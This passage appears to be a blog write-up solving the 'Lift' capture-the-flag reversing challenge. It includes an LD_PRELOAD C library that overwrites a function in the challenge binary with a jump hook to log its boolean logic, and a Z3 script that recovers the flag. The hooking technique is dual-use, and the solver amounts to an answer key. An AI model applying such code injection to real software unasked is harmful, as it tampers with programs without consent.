cur-\u0026gt;expr = self-\u0026gt;expr; // cur-\u0026gt;no = self-\u0026gt;no; // cur-\u0026gt;yes = self-\u0026gt;yes; // return cur; } else { Object *x = (Object *)yes; cur-\u0026gt;expr = expr_cnt ++; // logging(\u0026#34;[Object-Like] expr_%lld = Choice(expr_%lld, expr_%lld, %s)\\n\u0026#34;, // cur-\u0026gt;expr, self-\u0026gt;expr, x-\u0026gt;expr, (btype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;) // ); logging(\u0026#34;expr_%lld = Choice(expr_%lld, expr_%lld, %s)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, x-\u0026gt;expr, (btype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;) ); return cur; } } if (!a \u0026amp;\u0026amp; b) { Object *cur = create_object(fn_func_symbolic); int atype = func_type(yes); if (atype == -1) { // cur-\u0026gt;func = fn_run_intermediate_yes; // cur-\u0026gt;expr = self-\u0026gt;expr; // cur-\u0026gt;yes = self-\u0026gt;yes; // cur-\u0026gt;no = self-\u0026gt;no; // return cur; } else { Object *y = (Object *)no; cur-\u0026gt;expr = expr_cnt ++; logging(\u0026#34;expr_%lld = Choice(expr_%lld, %s, expr_%lld)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, (atype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;), y-\u0026gt;expr ); return cur; } } // if ((a \u0026amp;\u0026amp; !b) || (!a \u0026amp;\u0026amp; b)) { // printf(\u0026#34;Weird here\\n\u0026#34;); // printf(\u0026#34;%#llx %#llx\u0026#34;, convertAddr(yes), convertAddr(no)); // _exit(0); // } if (a \u0026amp;\u0026amp; b) { Object *cur = create_object(fn_func_symbolic); // it is Choice(self-\u0026gt;expr, yes-\u0026gt;expr, no-\u0026gt;expr) Object *x = (Object *)yes; Object *y = (Object *)no; cur-\u0026gt;expr = expr_cnt ++; // logging(\u0026#34;[Object-Like] expr_%lld = Choice(expr_%lld, expr_%lld, expr_%lld)\\n\u0026#34;, // cur-\u0026gt;expr, self-\u0026gt;expr, x-\u0026gt;expr, y-\u0026gt;expr // ); logging(\u0026#34;expr_%lld = Choice(expr_%lld, expr_%lld, expr_%lld)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, x-\u0026gt;expr, y-\u0026gt;expr ); return cur; } // now A/B is either TRUE/FALSE (because we assumed there is no non-closure function) // { Object *cur = create_object(fn_func_symbolic); cur-\u0026gt;expr = expr_cnt ++; int atype = func_type(yes); int btype = func_type(no); // logging(\u0026#34;expr_%d %d %d\\n\u0026#34;, self-\u0026gt;expr, atype, btype); // printf(\u0026#34;%d %d %#llx %#llx\\n\u0026#34;, atype, btype, convertAddr(yes), convertAddr(no)); if ((atype != -1) \u0026amp;\u0026amp; (btype != -1)) { // logging( // \u0026#34;[Func-Like] expr_%lld = Choice(expr_%lld, %s, %s)\\n\u0026#34;, cur-\u0026gt;expr, // self-\u0026gt;expr, (atype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;), (btype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;) // ); logging( \u0026#34;expr_%lld = Choice(expr_%lld, %s, %s)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, (atype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;), (btype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;) ); return cur; } } // time for undefined function for example 0x3706A // fprintf(stream, \u0026#34;%#llx %#llx\\n\u0026#34;, convertAddr(*(ull*)(yes \u0026amp; MASK)), convertAddr(*(ull*)(no \u0026amp; MASK))); // the pattern is likely /* Yes/No here non-boolean function. Lets have \u0026#34;yes\u0026#34; as an example It will call a function for example selector(yes, false/true-like) Then using true/false-like function to select whether yes[0] or yes[1] Then yes[0] or yes[1] is again a selector until there is a boolean-expression appear The solution is pretty cheap here, because selector(yes, no) receive the same true/false-like argument So we just need to identity whether it is true-like or false-like function So run_intermediate is a key here it clarify the type of filter function then map new argument for the boolean expression for example Expression(yes, no, false) -\u0026gt; Expression(yes[1], no[1], filter)... */ { // invalid case fallback here includes half object /* pattern here Choice(express, func_a, func_b) func_a[0] = selector func_a[1] = first func_a[2] = second filter = choose first or second func_a[0](func_a, filter) -\u0026gt; func_a[1]/func_a[2] // so we need to keep recursive util func_a/func_b is not a selector anymore // How could we do that? Idk either */ // logging(\u0026#34;expr_%d yes=%#llx no=%#llx\\n\u0026#34;, self-\u0026gt;expr, convertAddr(self-\u0026gt;yes), convertAddr(self-\u0026gt;no)); Object *cur = create_object(fn_run_intermediate); cur-\u0026gt;expr = self-\u0026gt;expr; // we will not creating a new expression for this we will reuse cur-\u0026gt;yes = self-\u0026gt;yes; cur-\u0026gt;no = self-\u0026gt;no; // logging(\u0026#34;yes=%#llx no=%#llx yes[1] = %#llx no[1] = %#llx\\n\u0026#34;, // cur-\u0026gt;yes, cur-\u0026gt;no, *(ull*)(cur-\u0026gt;yes + 8), *(ull*)(cur-\u0026gt;no + 8) // ); /* yes = *(ull*)(yes + 16); logging(\u0026#34;yes[1][0] %#llx, yes[1][1] = %#llx yes[1][2] = %#llx, object %d %d\\n\u0026#34;, convertAddr(*(ull*)yes), *(ull*)(yes+8), *(ull*)(yes + 16), is_object(*(ull*)(yes+8)), is_object(*(ull*)(yes + 16))); yes = *(ull*)(yes + 8); logging(\u0026#34;yes[1][0] %#llx, yes[1][1] = %#llx yes[1][2] = %#llx, object %d %d\\n\u0026#34;, convertAddr(*(ull*)yes), *(ull*)(yes+8), *(ull*)(yes + 16), is_object(*(ull*)(yes+8)), is_object(*(ull*)(yes + 16))); no = *(ull*)(no + 8); logging(\u0026#34;no[1][0] %#llx, no[1][1] = %#llx no[1][2] = %#llx, object %d %d\\n\u0026#34;, convertAddr(*(ull*)no), *(ull*)(no+8), *(ull*)(no + 16), is_object(*(ull*)(no+8)), is_object(*(ull*)(no + 16))); no = *(ull*)(no + 8); logging(\u0026#34;no[1][0] %#llx, no[1][1] = %#llx no[1][2] = %#llx, object %d %d\\n\u0026#34;, convertAddr(*(ull*)no), *(ull*)(no+8), *(ull*)(no + 16), is_object(*(ull*)(no+8)), is_object(*(ull*)(no + 16))); */ // printf(\u0026#34;mercy\u0026#34;); exit(0); return cur; } } printf(\u0026#34;An error occurred: %#llx %#llx\\n\u0026#34;, convertAddr(yes), convertAddr(no)); _exit(-1); } static Object *run_intermediate(Object* self, ull filter) { // can we just run this? if (!isHigh(filter)) { logging(\u0026#34;Latter expr_%d\u0026#34;, self-\u0026gt;expr); _exit(0); } bool valid_a = is_object(self-\u0026gt;yes) || (func_type(self-\u0026gt;yes) != -1); bool valid_b = is_object(self-\u0026gt;no) || (func_type(self-\u0026gt;no) != -1); if ((valid_a \u0026amp;\u0026amp; !valid_b) || (!valid_a \u0026amp;\u0026amp; valid_b)) { logging(\u0026#34;We will see about this\u0026#34;); _exit(0); } if (valid_a \u0026amp;\u0026amp; valid_b) { Object *cur = create_object(fn_decoy); cur-\u0026gt;yes = self-\u0026gt;yes; cur-\u0026gt;no = self-\u0026gt;no; cur-\u0026gt;expr = self-\u0026gt;expr; return choice_object(cur); } bool type = func_type(filter); if (type == 0) // false-like { Object *cur = create_object(fn_decoy); cur-\u0026gt;yes = *(ull *)(self-\u0026gt;yes + 16); cur-\u0026gt;no = *(ull *)(self-\u0026gt;no + 16); cur-\u0026gt;expr = self-\u0026gt;expr; return choice_object(cur); } else // true-like { Object *cur = create_object(fn_decoy); cur-\u0026gt;yes = *(ull *)(self-\u0026gt;yes + 8); cur-\u0026gt;no = *(ull *)(self-\u0026gt;no + 8); cur-\u0026gt;expr = self-\u0026gt;expr; return choice_object(cur); } logging(\u0026#34;Uh oh\\n\u0026#34;); _exit(0); } static Object* func_partial_symbolic(Object *self, ull no) { // fprintf(stream, \u0026#34;[Bit] bit_%d expr_%lld Second argument %#llx\\n\u0026#34;, self-\u0026gt;bit_id, self-\u0026gt;expr, convertAddr(no)); self-\u0026gt;no = no; return choice_object(self); } int bit_counter = 0; static Object* func_symbolic(Object *self, ull yes) { Object *cur = create_object(fn_partial_symbolic); cur-\u0026gt;yes = yes; cur-\u0026gt;expr = self-\u0026gt;expr; cur-\u0026gt;bit_id = self-\u0026gt;bit_id; // fprintf(stream, \u0026#34;[Bit] bit_%d expr_%lld First argument %#llx\\n\u0026#34;, cur-\u0026gt;bit_id, cur-\u0026gt;expr, convertAddr(yes)); return cur; } ull generate_bit(ull x, ull arg) { Object *cur = create_object(fn_func_symbolic); cur-\u0026gt;expr = expr_cnt++; cur-\u0026gt;bit_id = bit_counter++; logging(\u0026#34;expr_%d = bit_%d\\n\u0026#34;, counter++, cur-\u0026gt;expr); // fprintf(stream,\u0026#34;[Bit] bit_%d concrete=%d\\n\u0026#34;, cur-\u0026gt;bit_id, (int)(arg \u0026amp; 1)); return (ull) cur; } int find_base_address(struct dl_phdr_info *info, size_t sz, void *base) { if (info-\u0026gt;dlpi_name == NULL || info-\u0026gt;dlpi_name[0] == \u0026#39;\\0\u0026#39;) { ull base_addr = (ull) info-\u0026gt;dlpi_addr; *(ull*)base = base_addr; return 1; } return 0; } void map_memory(ull start, ull end) { int page_size = sysconf(_SC_PAGESIZE); ull mask = ~(page_size - 1); start = start \u0026amp; mask; end = (end + page_size - 1) \u0026amp; mask; size_t length = end - start; if (mprotect((void*)start, length, PROT_EXEC | PROT_READ | PROT_WRITE) != 0){ perror(\u0026#34;mprotect\u0026#34;); _exit(123); } return; } bool hook_function(ull address) { /* the hook idea is pretty simple mov rax, address jmp rax */ ull addr = address \u0026amp; ~0xfffULL; char shellcode[12] = {0x48, 0xb8}; *(ull *) \u0026amp;shellcode[2] = (ull) generate_bit; shellcode[10] = 0xff; shellcode[11] = 0xe0; if (mprotect((void*)addr, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE) != 0) { perror(\u0026#34;mprotect\u0026#34;); _exit(123); } memcpy((void*)address, (void*)shellcode, sizeof(shellcode)); __builtin___clear_cache((char *) address, (char *)address + sizeof(shellcode)); return true; } __attribute__((constructor)) static void init_array(void) { if (real_calloc == NULL) real_calloc = dlsym(RTLD_NEXT, \u0026#34;calloc\u0026#34;); dl_iterate_phdr( find_base_address, \u0026amp;base_address ); remove(\u0026#34;formula.txt\u0026#34;); stream = fopen(\u0026#34;formula.txt\u0026#34;, \u0026#34;a\u0026#34;); if (stream == NULL) { perror(\u0026#34;stream null\u0026#34;); } setvbuf(stream, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); fn_func_symbolic = (ull) func_symbolic; fn_partial_symbolic = (ull) func_partial_symbolic; fn_choice_object = (ull) choice_object; fn_run_intermediate = (ull) run_intermediate; fn_decoy = (ull) decoy; printf(\u0026#34;Main address = %#llx\\n\u0026#34;, base_address); if (hook_function(base_address + 0x21EA41)) { printf(\u0026#34;Hooked successfully\\n\u0026#34;); } map_memory(base_address + 0x1100, base_address + 0x21ED4D); return; } __attribute__((destructor)) static void finish_array(void) { printf(\u0026#34;\\nBye\\n\u0026#34;); return; } Note This script took me around 2 days \u0026gt;:D because I keep fixing errors as well as when I meet a new pattern I need to fix a few or sometime a whole script because I can\u0026rsquo;t not statically list out all pattern first. By the way, I remain the same script without cleaning up because I\u0026rsquo;m too lazy \u0026gt;:3\nMisunderstanding is my best friend while writing this script but unfortunately he left me when I solved this challenge. Why he so means T_T\nBecause It is so long I will explain it slowly latter.\nFirst of all I used the LD_PRELOAD trick here to force the ld load my shared object first. Then I interrupt the program calloc to my own calloc instead of libc. It is seemed to be useless, so true because it not one of a part in my script I was just use it to test some stuff and forgot to remove\u0026hellip;\nAlright enough for joking, this is what I used for hooking the 0x21ea41 function\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 bool hook_function(ull address) { /* the hook idea is pretty simple mov rax, address jmp rax */ ull addr = address \u0026amp; ~0xfffULL; char shellcode[12] = {0x48, 0xb8}; *(ull *) \u0026amp;shellcode[2] = (ull) generate_bit; // \u0026lt;-- this function is mentioned below shellcode[10] = 0xff; shellcode[11] = 0xe0; if (mprotect((void*)addr, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE) != 0) { perror(\u0026#34;mprotect\u0026#34;); _exit(123); } memcpy((void*)address, (void*)shellcode, sizeof(shellcode)); __builtin___clear_cache((char *) address, (char *)address + sizeof(shellcode)); return true; } I change a very first few bytes of a function to jump instruction. If you often work with malware binary, this could be familar. Remember to use __builtin___clear_cache because in modern CPU, there is a D-Cache for data caching and I-Cache for Instruction caching. The instruction will be cached in ram for faster dispatching. If we don\u0026rsquo;t clear the cache, the old instruction still be executed.\nThe replacement for binary\u0026rsquo;s boolean expression:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 typedef struct { ull func; // function used for callback int bit_id; // as it is named ull expr; // the current expression of the boolean expression ull yes, no; // the first and second argument } Object; static Object *create_object(ull function) { Object *x = calloc(1, sizeof(Object)); x-\u0026gt;func = function; return x; } Talk more about expr, it is used to identify the current object and identify the nested decision. For example if the binary use bit_0 to select A and B, then use bit_1 to select the result with C it could be something like this.\n1 2 3 4 expr_1 = bit_0 expr_2 = bit_1 expr_3 = Choice(expr_1, A, B) expr_4 = Choice(expr_2, expr_3, C) See? if we can lift the whole program into this format. Z3 can easily solve the constraint hehehe.\nThe trick here is instead of running program function for example 0x36174 or 0x2d5b7 as I mentioned above, we could redirect it to our own function. From that we could collect data, parsing expression and understand many things\nThe alternative for 0x21ae41, we used to logging initialization for each bit\n1 2 3 4 5 6 7 8 9 ull generate_bit(ull x, ull arg) { Object *cur = create_object(fn_func_symbolic); cur-\u0026gt;expr = expr_cnt++; cur-\u0026gt;bit_id = bit_counter++; logging(\u0026#34;expr_%d = bit_%d\\n\u0026#34;, counter++, cur-\u0026gt;expr); // fprintf(stream,\u0026#34;[Bit] bit_%d concrete=%d\\n\u0026#34;, cur-\u0026gt;bit_id, (int)(arg \u0026amp; 1)); return (ull) cur; } Then we redirect it into fn_func_symbolic which is used for creating closure and registering first argument\n1 2 3 4 5 6 7 static Object* func_symbolic(Object *self, ull yes) { Object *cur = create_object(fn_partial_symbolic); cur-\u0026gt;yes = yes; cur-\u0026gt;expr = self-\u0026gt;expr; cur-\u0026gt;bit_id = self-\u0026gt;bit_id; return cur; } Record our argument and setting up some middle steps then redirect it for fn_partial_symbolic which takes our second argument and performing handling data to deobfuscate\n1 2 3 4 static Object* func_partial_symbolic(Object *self, ull no) { self-\u0026gt;no = no; return choice_object(self); } Alright that is all what I have. Now the fun part is beginning, the most annoying logic of my obfuscator come from choice_object()\nI will remove all the comment in the code if you want to read my comment, you can scroll up and watch the full script\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 static Object* choice_object(Object *self) { ull yes = self-\u0026gt;yes; ull no = self-\u0026gt;no; { bool a = isTarget(yes); bool b = isTarget(no); if ((a \u0026amp;\u0026amp; !b) || (!a \u0026amp;\u0026amp; b)) { printf(\u0026#34;Not good\u0026#34;); _exit(123); } if (a \u0026amp;\u0026amp; b) { logging(\u0026#34;expr_%d = Choice(expr_%d, %#llx, %#llx)\\n\u0026#34;, expr_cnt + 1, self-\u0026gt;expr, convertAddr(yes), convertAddr(no)); _exit(0); } } { bool a = is_object(yes); bool b = is_object(no); if (a \u0026amp;\u0026amp; !b) { Object *cur = create_object(fn_func_symbolic); int btype = func_type(no); if (btype == -1) { // fall back to fn_run_intermediate at the end of the function } else { Object *x = (Object *)yes; cur-\u0026gt;expr = expr_cnt ++; logging(\u0026#34;expr_%lld = Choice(expr_%lld, expr_%lld, %s)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, x-\u0026gt;expr, (btype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;) ); return cur; } } if (!a \u0026amp;\u0026amp; b) { Object *cur = create_object(fn_func_symbolic); int atype = func_type(yes); if (atype == -1) { // fall back to fn_run_intermediate at the end of the function } else { Object *y = (Object *)no; cur-\u0026gt;expr = expr_cnt ++; logging(\u0026#34;expr_%lld = Choice(expr_%lld, %s, expr_%lld)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, (atype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;), y-\u0026gt;expr ); return cur; } } if (a \u0026amp;\u0026amp; b) { Object *cur = create_object(fn_func_symbolic); Object *x = (Object *)yes; Object *y = (Object *)no; cur-\u0026gt;expr = expr_cnt ++; logging(\u0026#34;expr_%lld = Choice(expr_%lld, expr_%lld, expr_%lld)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, x-\u0026gt;expr, y-\u0026gt;expr ); return cur; } { Object *cur = create_object(fn_func_symbolic); cur-\u0026gt;expr = expr_cnt ++; int atype = func_type(yes); int btype = func_type(no); if ((atype != -1) \u0026amp;\u0026amp; (btype != -1)) { logging( \u0026#34;expr_%lld = Choice(expr_%lld, %s, %s)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, (atype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;), (btype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;) ); return cur; } } { Object *cur = create_object(fn_run_intermediate); cur-\u0026gt;expr = self-\u0026gt;expr; // we will not creating a new expression for this we will reuse cur-\u0026gt;yes = self-\u0026gt;yes; cur-\u0026gt;no = self-\u0026gt;no; return cur; } } printf(\u0026#34;An error occurred: %#llx %#llx\\n\u0026#34;, convertAddr(yes), convertAddr(no)); _exit(-1); } Note Some of _exit function used in this script is for me to check all possible patterns in the script, whenever the exit function is executed, I know that it is one of the part of the program and I need to handle else I will feel happy :D lightwork but high volt\nI will explain some helper function\nisTarget: checking if the address is Correct or Fail function\nconvertAddr: get the rva of the address or its value if it is a heap-allocated address\nis_in_text, isHigh, logging: like what it is named\nis_object: checking if it is our created object or not (simply comparing obj-\u0026gt;func)\nfunc_type: checking if it is True-like or False-Like function by using really stupid-but-work method\nTalk more about func_type, I used many heuristic pattern to recognize the function, eventhough it could be incorrect in general but it worked in this binary, that is all what we need\nNote Make your script works base on your target, do not generalize the goal, it would be more difficult.\nSorry I would not put those helper functions here but the blog will be too repeative, you can see in the full script\nI separated each case into 4 different block. The first block is checking if we reach Correct/Fail or not.\n1 2 3 4 5 6 7 8 9 10 11 Object *cur = create_object(fn_func_symbolic); cur-\u0026gt;expr = expr_cnt ++; int atype = func_type(yes); int btype = func_type(no); if ((atype != -1) \u0026amp;\u0026amp; (btype != -1)) { logging( \u0026#34;expr_%lld = Choice(expr_%lld, %s, %s)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, (atype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;), (btype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;) ); return cur; } This third block is checking if our input is both True or False. Something like expr_15 = Choice(expr_12, true, false). True/False here is a concrete Boolean expression. I mentioned in the Initial Analysis. After selecting True or False, the object will be pushed into queue for generating closure so fn_func_symbolic is the best option here.\nNext, come to the second block\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 bool a = is_object(yes); bool b = is_object(no); if (a \u0026amp;\u0026amp; !b) { Object *cur = create_object(fn_func_symbolic); int btype = func_type(no); if (btype == -1) { // fall back to fn_run_intermediate at the end of the function } else { Object *x = (Object *)yes; cur-\u0026gt;expr = expr_cnt ++; logging(\u0026#34;expr_%lld = Choice(expr_%lld, expr_%lld, %s)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, x-\u0026gt;expr, (btype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;) ); return cur; } } if (!a \u0026amp;\u0026amp; b) { Object *cur = create_object(fn_func_symbolic); int atype = func_type(yes); if (atype == -1) { // fall back to fn_run_intermediate at the end of the function } else { Object *y = (Object *)no; cur-\u0026gt;expr = expr_cnt ++; logging(\u0026#34;expr_%lld = Choice(expr_%lld, %s, expr_%lld)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, (atype ? \u0026#34;true\u0026#34; : \u0026#34;false\u0026#34;), y-\u0026gt;expr ); return cur; } } if (a \u0026amp;\u0026amp; b) { Object *cur = create_object(fn_func_symbolic); Object *x = (Object *)yes; Object *y = (Object *)no; cur-\u0026gt;expr = expr_cnt ++; logging(\u0026#34;expr_%lld = Choice(expr_%lld, expr_%lld, expr_%lld)\\n\u0026#34;, cur-\u0026gt;expr, self-\u0026gt;expr, x-\u0026gt;expr, y-\u0026gt;expr ); return cur; } This handler only processes cases when at least one of the two arguments is our object, the other could be either object or True/False-like function. The logic is pretty simple and could be understand easily through this example\n1 2 3 4 1. expr_1 = Choice(expr_2, expr_3, true/false) 2. expr_1 = Choice(expr_2, true/false, expr_3) 3. expr_1 = Choice(expr_2, expr_3, expr_4) // only these three cases Then the last stub handle a leftover case\n1 2 3 Object *cur = create_object(fn_run_intermediate); cur-\u0026gt;expr = self-\u0026gt;expr; // we will not creating a new expression for this we will reuse cur-\u0026gt;yes = self-\u0026gt;yes; cur-\u0026gt;no = self-\u0026gt;no; Let\u0026rsquo;s analyze this. Genuinelly, This case is the first argument is a closure, and the second argument is a selector which is either True-like or False-like function. But it hide that pattern using multiple intermediate internal object then using unpacker to unpack respectively. The unpacker is\n1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall sub_3706A(__int64 a1, __int64 a2) { __int64 v4; // [rsp+18h] [rbp-8h] if ( a2 \u0026gt;= 0 ) v4 = (*(__int64 (__fastcall **)(__int64, _QWORD))a2)(a2, *(_QWORD *)(a1 + 8)); else v4 = ((__int64 (__fastcall *)(_QWORD, _QWORD))(a2 \u0026amp; 0x7FFFFFFFFFFFFFFFLL))(0, *(_QWORD *)(a1 + 8)); if ( v4 \u0026gt;= 0 ) return (*(__int64 (__fastcall **)(__int64, _QWORD))v4)(v4, *(_QWORD *)(a1 + 16)); else return ((__int64 (__fastcall *)(_QWORD, _QWORD))(v4 \u0026amp; 0x7FFFFFFFFFFFFFFFLL))(0, *(_QWORD *)(a1 + 16)); } The first argument is program internal object, and the second one is fixed selector which is either true-like or false-like function Let\u0026rsquo;s look what called sub_3706A\n1 2 3 4 5 6 7 8 9 10 11 _QWORD *__fastcall sub_37128(__int64 a1, __int64 a2) { _QWORD *v3; // [rsp+18h] [rbp-8h] v3 = calloc(1u, 0x18u); if ( !v3 ) abort(); *v3 = sub_3706A; v3[1] = *(_QWORD *)(a1 + 8); v3[2] = a2; return v3; } It generates a closure with two registered variables. The behavior of this could be describe like this\nFirst it will initialize two real Boolean expression, then it will wrap those expressions into an intermediate closure and using unpacker with fixed selector function to release initial expression\nFor example\n1 2 3 Object one = {x, y}; uint64_t selector = true_function; unpacker(one, selector) -\u0026gt; return x; In order to make things harder to analyze, the author deliberately nested multiple unpacker\nFor example\n1 2 3 4 5 6 7 8 9 Object one = {expr_1, expr_2}; Object two = {expr_2, expr_1}; uint64_t layer1_selector = false_function; Object three = {one, two}; uint64_t layer2_selector = true_function; Object temp = unpack(three, layer2_selector); temp = unpack(temp, layer1_selector); In the end, temp is our valid object, so we can manually write a recursive unpacker to retrieve the core expression. If the current state is not one of the case that choice_object can describe an expression, it will be this case and transfer control for run_intermediate\nScript:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 static Object *run_intermediate(Object* self, ull filter) { // can we just run this? if (!isHigh(filter)) { logging(\u0026#34;Latter expr_%d\u0026#34;, self-\u0026gt;expr); _exit(0); } bool valid_a = is_object(self-\u0026gt;yes) || (func_type(self-\u0026gt;yes) != -1); bool valid_b = is_object(self-\u0026gt;no) || (func_type(self-\u0026gt;no) != -1); if ((valid_a \u0026amp;\u0026amp; !valid_b) || (!valid_a \u0026amp;\u0026amp; valid_b)) { logging(\u0026#34;We will see about this\u0026#34;); _exit(0); } if (valid_a \u0026amp;\u0026amp; valid_b) { // valid object Object *cur = create_object(fn_decoy); cur-\u0026gt;yes = self-\u0026gt;yes; cur-\u0026gt;no = self-\u0026gt;no; cur-\u0026gt;expr = self-\u0026gt;expr; return choice_object(cur); } bool type = func_type(filter); if (type == 0) // false-like { Object *cur = create_object(fn_decoy); cur-\u0026gt;yes = *(ull *)(self-\u0026gt;yes + 16); cur-\u0026gt;no = *(ull *)(self-\u0026gt;no + 16); cur-\u0026gt;expr = self-\u0026gt;expr; return choice_object(cur); } else // true-like { Object *cur = create_object(fn_decoy); cur-\u0026gt;yes = *(ull *)(self-\u0026gt;yes + 8); cur-\u0026gt;no = *(ull *)(self-\u0026gt;no + 8); cur-\u0026gt;expr = self-\u0026gt;expr; return choice_object(cur); } logging(\u0026#34;Uh oh\\n\u0026#34;); _exit(0); } The filter is a selector function which is a true-like or false-like function, because it high bit is never set (I tested in the script).\nThat is all about my script and by running it we could have these expressions in Here. In the end of the script is this line\n1 expr_103888 = Choice(expr_103886, 0x21eb44, 0x21eb6d) It is exactly what I have expected, 0x21eb44 is the Correct function and 0x21eb6d is the Fail function. So after this we could use Z3 to solve the constant that leading to the Correct option. We can have the flag\nZ3 solve script:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #!/usr/bin/env python3 from z3 import * import re s = Solver() bit = [BitVec(f\u0026#34;bit_{i}\u0026#34;, 1) for i in range(256)] with open(\u0026#34;formula.txt\u0026#34;, \u0026#34;r\u0026#34;) as f: data = f.read().split(\u0026#34;\\n\u0026#34;) save_expr = {} save_expr[\u0026#34;true\u0026#34;] = BitVecVal(1, 1) save_expr[\u0026#34;false\u0026#34;] = BitVecVal(0, 1) last_expression = \u0026#34;\u0026#34; for i in data: line = i.strip() if \u0026#34;bit_\u0026#34; in line: bit_index = int(re.search(r\u0026#34;bit_[0-9]*\u0026#34;, line)[0][4:], 10) expr = re.search(r\u0026#34;expr_[0-9]*\u0026#34;, line)[0] save_expr[expr] = bit[bit_index] else: ex = re.findall(r\u0026#34;\\bexpr_[0-9]*\u0026#34;, line) arg = re.search(r\u0026#34;Choice\\(.*?, (.*?), (.*?)\\)\u0026#34;, line) save_expr[ex[0]] = If( save_expr[ex[1]] == 1, save_expr[arg.group(1).strip()], save_expr[arg.group(2).strip()] ) last_expression = ex[0] s.add(save_expr[last_expression] == save_expr[\u0026#34;true\u0026#34;]) if s.check() != sat: print(\u0026#34;not good\u0026#34;) exit(0) model = s.model() value = [model.eval(b, model_completion=True).as_long() for b in bit] flag_bytes = [] for byte_idx in range(32): cur_byte = 0 for bit_offset in range(8): bit_idx = byte_idx * 8 + bit_offset cur_byte |= (value[bit_idx] \u0026lt;\u0026lt; bit_offset) flag_bytes.append(cur_byte) flag = bytes(flag_bytes) print(flag) Ending If you have any questions, you could DM me. I\u0026rsquo;m not a good teacher to be honest so some part of the writeup would be confused. Final words, happy reversing \u0026gt;:D\n","permalink":"https://ryouthecat.github.io/posts/ctf/r3ctf/","summary":"\u003ch3 id=\"lift\"\u003eLift\u003c/h3\u003e\n\u003ch4 id=\"summary\"\u003eSummary\u003c/h4\u003e\n\u003cp\u003eThis is an obfuscated flag checker that validates our input and return whether it is correct or not. At a higher level, the checking logic is a combination of decision statement (if-statement) for each bit of the flag body.\u003c/p\u003e\n\u003cp\u003eYou can download challenge \u003ca href=\"chall\"\u003ehere\u003c/a\u003e or \u003ca href=\"https://github.com/r3kapig/r3ctf-2026/tree/master/lift\"\u003ehttps://github.com/r3kapig/r3ctf-2026/tree/master/lift\u003c/a\u003e\u003c/p\u003e\n\u003ch4 id=\"initial-analysis\"\u003eInitial analysis\u003c/h4\u003e\n\u003cp\u003eThe binary main function\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan 